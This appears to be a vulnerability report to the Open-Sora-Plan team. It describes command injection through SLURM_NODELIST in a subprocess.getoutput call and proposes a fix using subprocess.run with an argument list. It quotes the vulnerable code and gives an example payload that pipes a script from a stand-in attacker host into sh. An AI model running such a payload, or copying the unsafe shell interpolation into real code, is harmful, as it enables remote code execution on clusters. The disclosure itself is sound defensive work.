Command Injection via SLURM_NODELIST in Distributed Initialization

Hi Open-Sora-Plan team,

During a security audit of the infrastructure utilities, I identified a command injection vulnerability in the Slurm-based distributed initialization logic.

Location

opensora/utils/utils.py:322

Vulnerable Code

node_list = os.environ["SLURM_NODELIST"]
addr = subprocess.getoutput(f"scontrol show hostname {node_list} | head -n1")

⚠️ Issue

The code uses subprocess.getoutput, which implicitly executes commands with shell=True, and directly interpolates the SLURM_NODELIST environment variable into the command string.

This introduces a command injection vulnerability, as no sanitization or validation is applied to node_list.

Impact

In Slurm environments, environment variables may be influenced during job submission. If an attacker controls SLURM_NODELIST, they can inject arbitrary shell commands.

Example payload:

SLURM_NODELIST="node1; curl http://attacker/payload.sh | sh"

This would result in arbitrary command execution on the compute node, potentially leading to:

• Remote Code Execution (RCE)
• Cluster compromise
• Lateral movement across nodes

✅ Recommended Fix

Avoid shell execution entirely and pass arguments safely:

import subprocess

result = subprocess.run(
    ["scontrol", "show", "hostname", node_list],
    capture_output=True,
    text=True,
    check=True
)

addr = result.stdout.splitlines()[0]

Reason

• Eliminates shell=True
• Prevents command parsing by the shell
• Ensures safe handling of untrusted input

I have verified this issue directly against the source code.

I can provide a patch or PR if needed.

Best regards, DataWizual Lab Team